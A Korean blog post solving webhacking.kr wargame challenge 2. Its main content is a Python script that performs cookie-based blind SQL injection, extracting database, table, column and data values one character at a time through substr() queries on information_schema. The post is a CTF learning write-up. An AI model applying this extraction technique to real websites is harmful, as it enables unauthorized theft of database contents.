보안 공부/webhacking.kr

webhacking.kr 2번 풀이(파이썬 이용)

sh1256 2021. 12. 3. 16:13
728x90

2021.12.03 - [webhacking.kr] - webhacking.kr 2번 풀이

 

webhacking.kr 2번 풀이

음 아이피 활용 문제인 거 같다. 일단 소스보기 링크가 없으니 알아서 봐보자 ctrl+shift+i --> 개발자도구 열기 'if you access admin.php i will kick your ass' 자 그럼 바로 admin.php에 접속해보자 secret..

sh1256.tistory.com

이번엔 webhacking.kr 2번을 파이썬을 이용해 풀어보자

https://m.blog.naver.com/nunub0t/221769017265

 

[Webhacking.kr] old 2번 문제풀이

2번 문제로 접속하면 이런 페이지가 나온다. 소스보기로 살펴보자 주석으로 시간이 나오고, admin.php로 접...

blog.naver.com

위의 글을 참고하여 썼다. (원본)

 

<완성본>

-약간의 주석 추가, header 부분 없앰 -

import requests as req
# import A as B --> requests 모듈을 req라는 이름으로 사용하겠다.

def httpRequest(select=None,dbName=None,tableName=None,columnName=None):
    #함수 정의, value값을 반환한다. 
	value=''
	for i in range(1,20):
		for key in keyword:
			if select=='DB':
				cookies['time'] = 'substr((select database()),{},1)="{}"'.format(i,key)
			elif select=='TABLE':
				cookies['time'] = 'substr((select group_concat(table_name) from information_schema.tables where table_schema="{}"),{},1)="{}"'.format(db_name,i,key)
			elif select=='COLUMN':
				cookies['time'] = 'substr((select group_concat(column_name) from information_schema.columns where table_name="{}"),{},1)="{}"'.format(table_name,i,key)
			elif select=='DATA':
				cookies['time'] = 'substr((select {} from {}),{},1)="{}"'.format(column_name,table_name,i,key)

			res = req.get(url,cookies=cookies)	
                    #위의 각 문구 cookies['time']='substr(~~)={key}가 참(1)이면 09:00:01출력
			if "09:00:01" in res.text:
				value+=key
				print(value)
				break
			if key == '0':
				return value
	
if __name__ == '__main__':
	url = 'https://webhacking.kr/challenge/web-02/'
	cookies = {'PHPSESSID':'--------------------------------'}
	keyword = '_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
	db_name = httpRequest(select='DB')
	table_name = httpRequest(select='TABLE',dbName=db_name)
	column_name = httpRequest(select='COLUMN',tableName='log')
	data = httpRequest(select='DATA',tableName=table_name,columnName=column_name)

	print("============================")
	print("DB NAME = "+db_name)
	print("TABLE NAME = "+table_name)
	print("COLUMN NAME = "+column_name)
	print("data = "+data)
	print("============================")

++

__name__=='__main__' --> https://lovelydiary.tistory.com/297

 

파이썬) __name__ 변수는 뭐지? (+if __name__=="__main__"의 의미..)

#1. 변수를 정의할 때 꼭 필요한 문장? 함수를 정의하는 것과 관련하여 파이썬 강의를 듣는 중이었다. 함수의 기능을 열심히 정의를 하고 나서 선생님이 꼭 마지막에 희한한 무언가를 붙이셨다.

lovelydiary.tistory.com

 

 

다른 방법으로 코딩한 것도 있는데 이건 이해가 안된다.. ㅠㅠㅠ 아시는분 도와주시게써요?

https://ehdtn1219.tistory.com/4

 

Webhacking.kr 2번 문제풀이

문제의 페이지 소스를 보시면 힌트를 얻을 수 있는 단서를 찾을 수 있습니다. 1번 힌트 : 시간 2번 힌트 : admin.php가 존재 힌트를 활용하기 위해 EditThisCookie를 이용하여 쿠키값을 확인해본 결과 쿠

ehdtn1219.tistory.com